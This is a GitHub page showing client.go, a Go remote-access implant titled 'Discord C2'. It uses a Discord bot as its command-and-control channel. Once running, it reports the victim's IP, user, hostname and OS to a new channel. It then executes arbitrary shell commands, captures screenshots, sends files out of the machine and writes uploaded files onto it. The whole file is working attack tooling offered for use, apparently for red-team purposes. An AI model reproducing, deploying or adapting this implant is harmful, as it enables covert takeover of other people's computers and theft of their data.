-
Notifications
You must be signed in to change notification settings - Fork 6
/
client.go
185 lines (163 loc) Β· 5.2 KB
/
client.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
// Discord C2
// William Moody
// 08.12.2022
// πββοΈ <command> - Run the given command (Windows: cmd.exe, Other: bash)
// πΈ - Take a screenshot
// π <path> - Download the given file (Less than 8MB)
// βοΈ <path> *attach - Upload the attached file (Less than 8MB)
// π - Kill the process
// Linux - GOOS=linux GOARCH=amd64 go build client.go
// Windows - GOOS=windows GOARCH=amd64 go build client.go
package main
import (
"fmt"
"image/png"
"io"
"os"
"os/signal"
"os/exec"
"os/user"
"math/rand"
"net"
"net/http"
"runtime"
"strings"
"syscall"
"time"
"github.com/kbinani/screenshot"
"github.com/bwmarrin/discordgo"
)
var myChannelId string // Global variable
func getTmpDir() string {
if runtime.GOOS == "windows" {
return "C:\\Windows\\Tasks\\"
} else {
return "/tmp/"
}
}
func handler(s *discordgo.Session, m *discordgo.MessageCreate) {
// Ignores messages in other channels and own messages
if m.ChannelID != myChannelId || m.Author.ID == s.State.User.ID {
return
}
s.MessageReactionAdd(m.ChannelID, m.ID, "π") // Processing...
flag := 0
//Run command
if strings.HasPrefix(m.Content, "πββοΈ") {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("C:\\Windows\\System32\\cmd.exe", "/k", m.Content[14:len(m.Content)])
} else {
cmd = exec.Command("/bin/bash", "-c", m.Content[14:len(m.Content)])
}
out, err := cmd.CombinedOutput()
if err != nil {
out = append(out, 0x0a)
out = append(out, []byte(err.Error())...)
}
// Message is too long, save as file
if (len(out) > 2000-13) {
f, _ := os.CreateTemp(getTmpDir(), "*.txt")
f.Write(out)
fileName := f.Name()
f.Close()
f, _ = os.Open(fileName)
defer f.Close()
fileStruct := &discordgo.File{Name: fileName, Reader: f}
fileArray := []*discordgo.File{fileStruct}
s.ChannelMessageSendComplex(m.ChannelID, &discordgo.MessageSend{Files: fileArray, Reference: m.Reference()})
} else {
var resp strings.Builder
resp.WriteString("```bash\n")
resp.WriteString(string(out) + "\n")
resp.WriteString("```")
s.ChannelMessageSendReply(m.ChannelID, resp.String(), m.Reference())
}
flag = 1
} else if m.Content == "πΈ" {
n := screenshot.NumActiveDisplays()
for i := 0; i < n; i++ {
bounds := screenshot.GetDisplayBounds(i)
img, _ := screenshot.CaptureRect(bounds)
fileName := fmt.Sprintf("%s%d_%dx%d.png", getTmpDir(), i, bounds.Dx(), bounds.Dy())
file, _ := os.Create(fileName)
png.Encode(file, img)
defer file.Close()
f, _ := os.Open(fileName)
defer f.Close()
fileStruct := &discordgo.File{Name: fileName, Reader: f}
fileArray := []*discordgo.File{fileStruct}
s.ChannelMessageSendComplex(m.ChannelID, &discordgo.MessageSend{Files: fileArray, Reference: m.Reference()})
}
flag = 1
} else if strings.HasPrefix(m.Content, "π") {
fileName := m.Content[5:len(m.Content)]
f, _ := os.Open(fileName)
fi, _ := f.Stat()
defer f.Close()
if fi.Size() < 8388608 { // 8MB file limit
fileStruct := &discordgo.File{Name: fileName, Reader: f}
fileArray := []*discordgo.File{fileStruct}
s.ChannelMessageSendComplex(m.ChannelID, &discordgo.MessageSend{Files: fileArray, Reference: m.Reference()})
flag = 1
} else {
s.ChannelMessageSendReply(m.ChannelID, "File is bigger than 8MB π", m.Reference())
}
} else if strings.HasPrefix(m.Content, "βοΈ") {
path := m.Content[7:len(m.Content)]
if len(m.Attachments) > 0 {
out, _ := os.Create(path)
defer out.Close()
resp, _ := http.Get(m.Attachments[0].URL)
defer resp.Body.Close()
io.Copy(out, resp.Body)
s.ChannelMessageSendReply(m.ChannelID, "Uploaded file to " + path, m.Reference())
}
flag = 1
} else if m.Content == "π" {
flag = 2
}
s.MessageReactionRemove(m.ChannelID, m.ID, "π", "@me")
if flag > 0 {
s.MessageReactionAdd(m.ChannelID, m.ID, "β
")
if flag > 1 {
s.Close()
os.Exit(0)
}
}
}
func main() {
dg, err := discordgo.New("Bot ...") // Hardcoded bot token
if err != nil {
// Error creating Discord session
return
}
// Handler for CreateMessage events
dg.AddHandler(handler)
dg.Identify.Intents = discordgo.IntentsGuildMessages
err = dg.Open()
if err != nil {
// Error opening connection
return
}
// Create new channel
rand.Seed(time.Now().UnixNano())
sessionId := fmt.Sprintf("sess-%d", rand.Intn(9999 - 1000) + 1000)
c, _ := dg.GuildChannelCreate("...", sessionId, 0) // Guild ID is hardcoded
myChannelId = c.ID
// Send first message with basic info (and pin it)
hostname, _ := os.Hostname()
currentUser, _ := user.Current()
cwd, _ := os.Getwd()
conn, _ := net.Dial("udp", "8.8.8.8:80")
defer conn.Close()
localAddr := conn.LocalAddr().(*net.UDPAddr)
firstMsg := fmt.Sprintf("Session *%s* opened! π₯³\n\n**IP**: %s\n**User**: %s\n**Hostname**: %s\n**OS**: %s\n**CWD**: %s", sessionId, localAddr.IP, currentUser.Username, hostname, runtime.GOOS, cwd)
m, _ := dg.ChannelMessageSend(myChannelId, firstMsg)
dg.ChannelMessagePin(myChannelId, m.ID)
// Bot is now running (CTRL+C to quit)
sc := make(chan os.Signal, 1)
signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)
<-sc
dg.Close()
}